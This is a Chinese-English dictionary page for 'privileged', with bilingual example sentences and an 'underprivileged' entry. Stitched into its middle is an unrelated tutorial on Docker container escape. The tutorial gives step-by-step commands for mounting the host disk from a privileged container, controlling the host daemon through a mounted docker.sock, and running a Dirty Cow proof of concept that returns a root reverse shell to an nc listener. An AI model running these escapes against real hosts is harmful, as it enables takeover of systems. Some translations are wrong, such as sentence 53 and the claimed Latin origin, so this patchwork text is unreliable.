?privileged

privileged發(fā)音

英：[?pr?v?l?d?d]　　美：[?pr?v?l?d?d, ?pr?vl?d?d]

英：　　美：

privileged中文意思翻譯

adj.有特權的, 特許的

privileged詞形變化

動(dòng)詞第三人稱(chēng)單數: privileges | 動(dòng)詞過(guò)去式: privileged | 動(dòng)詞過(guò)去分詞: privileged | 動(dòng)詞現在分詞: privileging |

privileged同義詞

fortunate | restricted | lucky | inner | private | top secret | favored | controlled | confidential | advantaged | limited | inside | honored

privileged反義詞

underprivileged

privileged常見(jiàn)例句

1 、The most common case in which a user will have both a filtered and fully privileged token is when the user is a member of the Administrators group.───如果用戶(hù)是“管理員”組的成員,用戶(hù)通常會(huì )同時(shí)具有經(jīng)過(guò)濾的令牌和完全權限令牌。

2 、The sons stay behind, and the ones with the most powerful mothers become the most privileged males.───兒子們則會(huì )留下來(lái)，而那些擁有最強勢的母親的，則會(huì )成為擁有最高特權的雄性。

3 、Privileged chaps tend to suffer from a sense of entitlement， so he may believe that the rules don't apply to him.───備受關(guān)愛(ài)的孩子會(huì )產(chǎn)生特權感，他們相信規則對他們是不適用的。

4 、Like any other privileged caste, they use their power for their own advantage.───他們象其他特權階級一樣，利用手中的權力謀求自己的私利。

5 、On an occasion such as this we are privileged to welcome...───在這樣重要的場(chǎng)合,我們有幸能歡迎...

6 、You had the privilege to be detailed.─── 你只是有一點(diǎn)分配優(yōu)先權而已

7 、Privileged Status applications may be lodged without the need to have full school fees paid in advance.───享受優(yōu)惠待遇的申請可以直接遞交材料,而毋須先向學(xué)校付費。

8 、A Xen system has multiple layers, the lowest and most privileged of which is Xen itself.───一個(gè)Xen系統擁有多個(gè)層,最底層和最高特權層是Xen程序本身。

9 、People think they have advantages because they're privileged, and now that privilege is being used against them.─── 大家覺(jué)得他們占上風(fēng)是因為 他們受特許保密條款保護 但現在這種特權 卻成了譴責他們的理由

10 、As a rich and privileged person she has very little empathy with the people she claims to represent.───作為一個(gè)富有且有特權的人，她和那些她所聲稱(chēng)的代表沒(méi)有多少共同的情感。

11 、How privileged we all were to be able to discover the beauty of Fiordland and to learn about this incredible ecosystem.───多么難得的機會(huì )啊我們能在一起去發(fā)現福德峽灣的壯麗并去了解這個(gè)難以置信的生態(tài)系統。"

12 、What a day, what an event and what a fighter. We truly saw the best at her best and we were privileged to be there.───多么不平凡的一天,多么不平凡的挑戰,多么不平凡的斗士.我們真的很幸運在她最佳時(shí)刻看到了最佳表現.

13 、A privileged to see the dog, puzzling: cattle brother, a bitter hay, and chew it back? This is not you eat two times bitter, two times by the crime?───一只養尊處優(yōu)的狗看見(jiàn)了，不解的問(wèn)：牛大哥，一把苦澀的干草，用得著(zhù)來(lái)回地嚼嗎？你這不是吃二遍苦，受二遍罪嗎？

14 、Today's real borders are not between nations, but between powerful and powerless, free and fettered, privileged and humiliated.───今天真正的邊界不在于國與國之間,而在于強者與弱者、自由者和受壓制者、特權者和窘迫者之間。

15 、.. but it's been my privilege to have had the guardianship of you.─── 但我有幸 成為你的監護人

16 、One biographer observed: "[Rodgers] became extraordinarily successful in his work, enjoyed a privileged life, and shared two Pulitzer Prizes.───一本傳記說(shuō)： [羅 杰 斯]工作上極為成功， 享 盡榮華富貴，并兩度與 伙伴 共同榮獲普利策 獎 。

17 、As a rich and privileged person she has little empathy with the people she claims to represent.───作為一個(gè)有錢(qián)有地位的人，她幾乎無(wú)法與她聲稱(chēng)所代表的人民產(chǎn)生共鳴。

18 、A system of elite schools and universities to which the rich have privileged access is neither fair nor efficient.───富人的孩子總有特權進(jìn)入精英學(xué)校，這樣的體系既不公平又缺乏效率。

19 、Taxes on capital markets' turnover could even strengthen the privileged position of big banks in the financial system.───對資本市場(chǎng)交易征稅甚至還可以增進(jìn)大型銀行在金融系統中的優(yōu)勢地位。

20 、Why do humans choose to live off of one another enslaving others to drudgery so that one can be “privileged”?───為什么人類(lèi)選擇了依靠彼此奴役他人做苦工而使某些人成為特權者來(lái)生活？

21 、In this type of threat, an unprivileged user gains privileged access and thereby has sufficient access to compromise or destroy the entire system.───在這種威脅中,無(wú)特權的用戶(hù)獲得特權,因此可以通過(guò)訪(fǎng)問(wèn)來(lái)威脅或破壞整個(gè)系統。

22 、Article 5 states: "No organization or individual is privileged to be beyond the constitution or the law.───憲法第五條聲明:“任何群組織或各個(gè)人都不得有超越憲法和法律的特權”。

23 、Speaking to me is a privilege, being able to work on your dinosaur is a privilege, the ability to do anything take a walk, read a book, use the bathroom by yourself is a privilege.─── 能跟我說(shuō)話(huà)就是一種恩賜 能捯飭你的恐龍就是一種恩賜 你所能做的一切 散步 看書(shū) 有獨立的衛生間 都是恩賜

24 、In the first half of the nineteenth century, Russian society was founded on the gentry, the privileged landowners who were supported by the serfs.───在十九世紀頭五十年，俄羅斯社會(huì )是以貴族以及由農奴們供養的享有特權的農莊主為根基的。

25 、KEY ACCOUNTABILITIES-Build privileged relationship with vaccine concerned officials in MOH, SFDA, BOH, CDC, NICP...... ...───公司名稱(chēng)：深圳賽諾菲巴斯德生物制品有限公司北京分公司工作地點(diǎn)：廣東省廣州市發(fā)布時(shí)間：2009-6-3

26 、A participant or privileged participant shall encipher any payment instruction it makes, and a payment instruction shall have effect once it is given.───參與者和特許參與者應按規定對其發(fā)起的支付指令進(jìn)行加密，支付指令一經(jīng)發(fā)出即具有支付效力。

27 、Tax laws that favored the privileged at the expense of the disadvantaged.───以處于劣勢的人為代價(jià)而有利于擁有特權者的稅法

28 、Use extra caution with system admins and privileged users.───對系統管理員和特殊權限用戶(hù)更要小心。

29 、Beneficiaries of state land allocations are mainly privileged people in society with resultant inequitable distribution of public land.───國家土地分配的受益者主要是社會(huì )**權者,從而導致公共土地分配不公。

30 、Some people are more talented than others,Some are more educationally privileged than others.but we all have the capacity to be great.───一些人比另外一些人聰明，一些人比另外一些人有教育上的特權，但我們每個(gè)人都有成為偉人的潛能。

31 、Now, 44 years later, I am privileged to stand side by side with you, ready to work hand in hand on a mission that we all share.───44年后的現在，我又很榮幸和各位并肩而立，準備攜手展開(kāi)一項我們分享的使命。

32 、I am more than my title, than these privileges.─── 我的頭銜和特權不是我的全部

33 、Oh I hate you privileged upper class people.───噢，我恨你們這些有特權的上流社會(huì )。

34 、Historically, everywhere human beings were convinced that they occupied a privileged position in the universe.───多少年來(lái)，人類(lèi)一直認為他們是在宇宙中佔有特權的物種。

35 、Damningly one-sided though the game was, one could not help but feel privileged to see something wonderful gain its reward.───即使這是一場(chǎng)該死的一邊倒的比賽，球迷還是禁不住感到有幸看到一些了不起的東西，完全物有所值。

36 、The Privileged status for provinces may change in the future.───今后,享受優(yōu)惠待遇的省份可能會(huì )有改動(dòng)。

37 、Privacy laws, these critics say, would protect the privileged.───他們批評說(shuō)隱私權法律保護了特權。

38 、On an occasion such as this (ie as important as this) we are privileged to welcome ...───在這樣重要的場(chǎng)合，我們有幸能歡迎 ...

39 、He hates the privileged stratum.───他憎恨特權階層。

40 、She comes from a privileged background.───她出身特權階層。

41 、Later, he was privileged to work for Flinders Petrie, a strong field director and one of the most credible archaeologists of his time.───后來(lái)他幸運的在弗蘭德斯.皮特里手下工作。弗蘭德斯.皮特里是個(gè)優(yōu)秀的工作導師，也是他那個(gè)時(shí)代最可靠的考古學(xué)家之一。

42 、She came from a privileged background.───她出身於特權階層。

43 、But this is the privilege of an elite few.─── 但這其實(shí)是少數精英人群才有的特權

44 、No, sir, I have not had that privilege.─── 不 先生 我沒(méi)有那種特權

45 、They have privileged access," explained Snyder.───他們有特權進(jìn)入，”斯奈德解釋道。

46 、These include functions for memory management, exception vector processing, privileged register access, and privileged timer access.───其中包括用于內存管理、異常向量處理、特權寄存器訪(fǎng)問(wèn)、特權計時(shí)器訪(fǎng)問(wèn)的函數。

47 、Under Saddam, getting permission to travel could take up to a year and was mostly reserved for privileged members of the government or their families.───在薩達姆政權統治時(shí)期，申請旅游護照需要長(cháng)達一年的時(shí)間，而且絕大多數情況下只有政府官員及其家庭成員才有出國旅游的特權。

48 、The strategies in scaffold alteration can be classified into three aspects: bio-isosterism, privileged structure-oriented, and scaffold hopping.───以結構-活性演化的方式變換骨架結構,即骨架遷越。

49 、But stealth parties offer the privileged a chance to consume without an inner censor chiding them for their spendthrift ways.───但隱密的購物派對提供有錢(qián)階級一個(gè)機會(huì )，讓他們不必為了揮金如土感到內疚。

50 、During these last few months, I have been humbled and privileged to see the true character of this country in a time of testing.───在最近的幾個(gè)月中，我逐漸認識到了美國經(jīng)歷嚴峻考驗時(shí)的真本色，并為之折服。

51 、"...therefore are not privileged," which means the physicianpatient privilege does not apply, so I'd like to request a subpoena for the security footage from the clinic's waiting room.─── "因此不享有醫患保密特權" 也就是說(shuō)醫患保密特權 并不適用 因此我想申請一張法院傳票 調取診所候診室的監控錄像

52 、The lab resist discovery, maintaining that the requested materials are privileged, constitute trade secrets, are legally irrelevant.───實(shí)驗室反對辯方發(fā)現，并堅持主張說(shuō)，辯方請求發(fā)現的資料是受到特權保護的，構成商業(yè)秘密，在法律上也是不相關(guān)的。

53 、The year after that,I was placed in charge of a large summer program for under privileged children in the large city of Millon, South Dakota.───一年后，我被安置在負責一個(gè)大夏天計劃下享有特權的兒童在各大城市米，南達科他州。

54 、For the Provision Device property, select either Privileged Certificate Store or Unprivileged Certificate Store.───對于“提供設備”屬性,可選擇“特權證書(shū)存儲區”或“非特權證書(shū)存儲區”。

55 、The Local System account is a highly privileged account; use caution when assigning Local System permissions to SQL Server service accounts.───Local System帳戶(hù)是一個(gè)高特權帳戶(hù);向SQL Server服務(wù)帳戶(hù)分配Local System權限時(shí)應謹慎。

56 、He was scornful of the privileged.───他鄙視特權階層。

57 、No organization or individual is privileged to be beyond the Constitution or the law.───任何組織或者個(gè)人都不得有超越憲法和法律的特權。

58 、Corresponds to the amount of time that the application has spent running in privileged mode, inside the operating system core.───對應于應用程序在操作系統內核中以特權模式運行所用的時(shí)間。

59 、I've been with you, the privileges I've allowed.─── 我給你的恩賜 并不領(lǐng)情

60 、He was privileged to come at any time.───他有任何時(shí)候都可以來(lái)的特權。

61 、How do I obtain authorization for Privileged Microsoft Mobile to Market Root signing services?───如何獲得微軟的特權簽名授權?

62 、Global configuration mode and all other more specific configuration modes can only be reached from the privileged EXEC mode.───全域組態(tài)模式和所有其他更多特定組態(tài)模式只能從特權EXEC模式到達。

63 、If the user so authorizes, the Application Information service will create the process with the fully privileged token.───如果用戶(hù)進(jìn)行了此類(lèi)授權,則“應用程序信息”服務(wù)將以完全權限令牌來(lái)創(chuàng )建進(jìn)程。

64 、The IOS backup can be initiated from the privileged EXEC mode with the copy flash tftp command.───IOS的備份可藉由特權EXEC模式下的copytftpflash指令來(lái)執行。

65 、They existed for him as a symbol of all that was corrupt, overbearing, stupid, and privileged in army life .───他們的存在，他是一個(gè)象征，所有這是腐敗，咄咄逼人的，愚蠢的，和特權在軍隊的生活。

66 、Most mobile distros allow SDL apps to run with privileged speeds.───大部分移動(dòng)發(fā)行版允許SDL高速運行。

67 、Only the privileged few could afford to send their children to private schools.───只有少數享有特權的人才能負擔得起送孩子去私立學(xué)校就讀。

68 、Therefore, deletion is a privileged operation.───因此,刪除是一項特權操作。

69 、There is a small back parlour where the landlord will serve drinks out of hours to a privileged few.───后面是一間小會(huì )客室，這兒將是店主在非工作時(shí)間里為少數享有特權的提供飲料的地方。

70 、Privileged chaps tend to suffer from a sense of entitlement (read: bratty-boy syndrome), so he may believe that the rules don't apply to him.───備受關(guān)愛(ài)的孩子會(huì )產(chǎn)生特權感（壞孩子綜合癥），他們相信規則對他們是不適用的。

71 、We are very privileged to have Senator Dobbs with us this evening.───今晚有多布斯參議員光臨，我們感到十分榮幸。

72 、Total CPU usage by applications run by privileged system processes since the system booted.───從系統啟動(dòng)開(kāi)始特權用戶(hù)應用所使用的總的CPU使用量。

73 、Venerable but not fusty, privileged but not showy, secure its sense of excellence, but not arrogant, Oxford is, in a word, civilized.───古老卻不陳腐，尊貴卻不賣(mài)弄，確信自身的優(yōu)越卻不傲慢，簡(jiǎn)而言之，牛津是一處為文明所熏陶之地。

74 、In this lab, students access the router command-line interface and activate privileged level configuration options.───在這個(gè)實(shí)驗，同學(xué)存取路由器指令列介面，并且運作特權層級組態(tài)選項。

75 、In the 1920s, everyone who was anyone wintered in thisplaygroundfor the privileged.───在19世紀20年代的時(shí)候，住在這里的都是那些擁有特權的人們；

76 、Their tragedies undoubtedly resulted from a men privileged world where women are not properly treated as humanbeings.───她們的悲劇無(wú)疑是由于她們身處一個(gè)不把女人當人的男權社會(huì )。

77 、On an occasion such as this ( ie as important as this ) we are privileged to welcome...───在這樣重要的場(chǎng)合, 我們有幸能歡迎.

78 、A political philosophy supporting the rights and power of the people in their struggle against the privileged elite.───人民黨主義一種政治哲學(xué)，在人民反對特權精英階級的斗爭上支持人民的權利與權力

79 、"I am so blessed, so privileged to be here to watch him swim live," said Inge de Bruijn of the Netherlands.───“能在這里看到他的水中英姿真可謂三生有幸，他讓我熱淚盈眶?！?/p>

80 、However, the text will be available to privileged users that can either access system tables over the DAC port or directly access database files.───但是,可以通過(guò)DAC端口訪(fǎng)問(wèn)系統表的特權用戶(hù)或直接訪(fǎng)問(wèn)數據文件的特權用戶(hù)可以使用此文本。

81 、They are often white and male, but they do not feel privileged and they often chafe at the way affirmative-action policies discriminate against them.───他們很多是白人男性，但是卻感受不到一絲優(yōu)越，對美國優(yōu)待少數民族的社會(huì )計劃，常覺(jué)得對他們不公平而十分焦躁。

82 、In those days, only a privileged few had the vote.───在那個(gè)時(shí)代，只有少數特殊的人才享有選舉權。

83 、Levi survived by working for the camps in his capacity as a chemist;he became a "privileged" prisoner.───他的化學(xué)家的才能使他能在營(yíng)里工作而得以生存下來(lái)，成為一個(gè)“有特權”的囚犯。

84 、In closing, may I say again how delighted and privileged we are to be in your country. We are deeply grateful for what you have done for us.───在我結束講話(huà)之前,我想再說(shuō)一遍,我們來(lái)貴國作客是多么的愉快和榮幸。對于你們?yōu)槲覀兯龅囊磺猩畋砀兄x。

85 、and I hope you have the same privilege.─── 我希望有一天你也能有這樣的朋友

86 、The likely result will be the application running with a more privileged account than is necessary.───如果使用SQL sysadmin帳戶(hù),可能會(huì )造成這樣的結果,即應用程序會(huì )以比所需權限更多的特權帳戶(hù)運行。

87 、You will be privileged to enter the factory with this ID card.───你有這張身份卡就有權進(jìn)入工廠(chǎng)。

88 、As America’s best friend, with privileged access to intelligence, it feels compelled to take part in America’s wars.───作為美國最好的朋友，英國有接觸情報的特權，也感到必須參加美國的戰爭。

89 、People with very high IQs don't necessarily run the country; they do , however, usually have access to a privileged and protected position.───具有很高智商的人不一定會(huì )去管理國家，但他們通常能獲得一個(gè)特殊的和得到保護的社會(huì )地位。

90 、Exceptions thrown by ASP.NET site navigation features do not expose privileged information.───ASP.NET站點(diǎn)導航功能引發(fā)的異常不會(huì )公開(kāi)特權信息。

干貨來(lái)啦！帶你初探Docker逃逸

Docker 是當今使用范圍最廣的開(kāi)源容器技術(shù)之一，具有高效易用的優(yōu)點(diǎn)。然而如果使用Docker時(shí)采取不當安全策略，則可能 導致系統面臨安全威脅。

本期安仔課堂，ISEC實(shí)驗室的張老師 將為大家介紹不同環(huán)境下， Docker逃逸至外部宿主機的情況。

一、配置特權模式時(shí)的逃逸情況

1.--privileged（特權模式）

特權模式于版本0.6時(shí)被引入Docker，允許容器內的root擁有外部物理機root權限，而此前容器內root用戶(hù)僅擁有外部物理機普通用戶(hù)權限。

使用特權模式啟動(dòng)容器， 可以獲取大量設備文件訪(fǎng)問(wèn)權限 。因為當管理員執行docker run —privileged時(shí)，Docker容器將被允許訪(fǎng)問(wèn)主機上的所有設備，并可以執行mount命令進(jìn)行掛載。

當控制使用特權模式啟動(dòng)的容器時(shí)，docker管理員可通過(guò)mount命令將外部宿主機磁盤(pán)設備掛載進(jìn)容器內部， 獲取對整個(gè)宿主機的文件讀寫(xiě)權限 ，此外還可以 通過(guò)寫(xiě)入計劃任務(wù)等方式在宿主機執行命令 。

具體步驟如下：

1.以特權模式運行一個(gè)容器：docker run -it --privileged ubuntu:14.04 /bin/bash

2.查看磁盤(pán)文件：fdisk -l

3.此時(shí)查看/dev/路徑會(huì )發(fā)現很多設備文件：ls /dev

4.新建目錄以備掛載：mkdir /abc

5.將/dev/sda1掛載至 /abc: mount /dev/sda1 /abc

6.最終我們可以通過(guò)訪(fǎng)問(wèn)容器內部的/abc路徑來(lái)達到訪(fǎng)問(wèn)整個(gè)宿主機的目的：ls /abc

7.嘗試寫(xiě)文件到宿主機：echo 123 > /abc/home/botasky/escape2

8.查看宿主機中的文件：ls /home/botasky/escape2

2.--cap-add與SYS_ADMIN

Linux內核自版本2.2起引入功能（capabilities）機制，打破了UNIX/LINUX操作系統中超級用戶(hù)與普通用戶(hù)的概念， 允許普通用戶(hù)執行超級用戶(hù)權限方能運行的命令 。

截至Linux 3.0版本，Linux中共有 38種capabilities。Docker容器默認限制為14個(gè)capabilities ，管理員可以使用--cap-add和--cap-drop選項 為容器精確配置capabilities 。

當容器使用特權模式啟動(dòng)時(shí)，將被賦予所有capabilities。此外，在--cap-add的諸多選項中，SYSADMIN意為container進(jìn)程允許執行mount、umount等一系列系統管理操作，因此當容器以--cap-add=SYSADMIN啟動(dòng)時(shí)，也將面臨威脅。

二、掛載配置不當時(shí)的逃逸情況

1.危險的Docker.sock

眾所周知，Docker采用C/S架構，我們平常使用的Docker命令中，docker即為client，Server端的角色由docker daemon扮演，二者之間 通信方式有以下3種：

其中 使用docker.sock進(jìn)行通信為默認方式 ，當容器中進(jìn)程需在生產(chǎn)過(guò)程中與Docker守護進(jìn)程通信時(shí)，容器本身需要掛載/var/run/docker.sock文件。

本質(zhì)上而言，能夠訪(fǎng)問(wèn)docker socket 或連接HTTPS API的進(jìn)程可以 執行Docker服務(wù)能夠運行的任意命令 ，以root權限運行的Docker服務(wù)通?？梢?strong> 訪(fǎng)問(wèn)整個(gè)主機系統 。

因此，當容器訪(fǎng)問(wèn)docker socket時(shí)，我們可 通過(guò)與docker daemon的通信對其進(jìn)行惡意操縱完成逃逸 。若容器A可以訪(fǎng)問(wèn)docker socket，我們便可在其內部安裝client（docker），通過(guò)docker.sock與宿主機的server（docker daemon）進(jìn)行交互，運行并切換至不安全的容器B，最終在容器B中控制宿主機。

具體步驟如下：

1.運行一個(gè)掛載/var/run/的容器：docker run -it -v /var/run/:/host/var/run/ ubuntu:14.04 /bin/bash

2.在容器內安裝Docker作為client(此步驟可能需要更換源)：apt-get install docker.io

3.查看宿主機Docker信息：docker -H unix:///host/var/run/docker.sock info

4.運行一個(gè)新容器并掛載宿主機根路徑：docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash

可以看見(jiàn)@符號后的Docker ID已經(jīng)發(fā)生變化：

5.在新容器/aa路徑下完成對宿主機資源的訪(fǎng)問(wèn)：ls /aa

三、存在Dirty Cow漏洞時(shí)的逃逸情況

1.臟牛漏洞(CVE-2016-5195)與VDSO(虛擬動(dòng)態(tài)共享對象)

Dirty Cow（CVE-2016-5195）是Linux內核中的權限提升漏洞，源于Linux內核的內存子系統在處理寫(xiě)入時(shí)拷貝（copy-on-write, Cow）存在競爭條件（race condition），允許惡意用戶(hù)提權獲取其他只讀內存映射的寫(xiě)訪(fǎng)問(wèn)權限。

競爭條件 意為任務(wù)執行順序異常，可能 導致應用崩潰或面臨攻擊者的代碼執行威脅 。利用該漏洞，攻擊者可在其目標系統內提升權限，甚至 獲得root權限 。 VDSO 就是Virtual Dynamic Shared Object（虛擬動(dòng)態(tài)共享對象），即內核提供的虛擬.so。該.so文件位于內核而非磁盤(pán)，程序啟動(dòng)時(shí)，內核把包含某.so的內存頁(yè)映射入其內存空間，對應程序就可作為普通.so使用其中的函數。

在容器中利用VDSO內存空間中的“clock_gettime() ”函數可對臟牛漏洞發(fā)起攻擊， 令系統崩潰并獲得root權限的shell，且瀏覽容器之外主機上的文件 。

2.PoC&驗證環(huán)境

GitHub上已有人提供了測試環(huán)境與PoC，我們可以通過(guò)以下命令獲取。

1. 運行驗證容器：docker-compose run dirtycow /bin/bash

2. 本地開(kāi)啟nc，進(jìn)行觀(guān)察（PoC中設置的反彈地址為本地的1234端口）：nc -lvp 1234

3. 編譯PoC并運行，等待shell反彈：make &./0xdeadbeef

通過(guò)ID命令，可以發(fā)現這個(gè)shell為root權限：

參考&引用

underprivileged什么意思

underprivileged的意思是被剝奪基本權力的、窮困的、下層社會(huì )的。

1、underprivileged的基本釋義。

該單詞源于拉丁語(yǔ)，由“under”和“privileged”兩個(gè)單詞組合而成?！皍nder”表示“在下面”，“privileged”表示“有特權的”。因此，“underprivileged”表示“在下面，沒(méi)有特權”，即“貧困、窮困、被剝奪基本權力或下層社會(huì )的”。

2、underprivileged的發(fā)音。

underprivileged有英式發(fā)音和美式發(fā)音，英式發(fā)音是[ˌʌndəˈprɪvəlɪdʒd]，美式發(fā)音是[ˌʌndərˈprɪvəlɪdʒd]。

3、underprivileged的相關(guān)組詞。

underprivileged individuals：指生活在貧困環(huán)境中、缺乏基本生活保障和個(gè)人發(fā)展機會(huì )的人群。

underprivileged communities：指社會(huì )中處于弱勢地位的社區，可能由于經(jīng)濟落后、教育資源不足、社會(huì )保障不完善等原因，導致社區成員的生活質(zhì)量和社會(huì )地位較低。

underprivileged nations：指經(jīng)濟和發(fā)展相對落后的國家，可能面臨政治、經(jīng)濟、文化等多方面的挑戰和困難。

有關(guān)underprivileged的雙語(yǔ)例句：

1、His doughty campaigns for the underprivileged have earned him national respect.

他為弱勢群體奔走呼號租冊，贏(yíng)得了全國的尊敬。

2、She worked for the well-being of the underprivileged.

她為下層貧困民眾的福利而努力。

3、He said it was the job of the Church to speak for the underprivileged.

他說(shuō)，為貧困群體說(shuō)話(huà)是教會(huì )的義務(wù)。

4、Another common theme among this year's applicants was howbusinesses could help create opportunities for underprivilegedcommunities.

今年的申請者中普遍呈現的另一大常見(jiàn)主題是，企業(yè)如何能為貧困社區創(chuàng )造機會(huì )。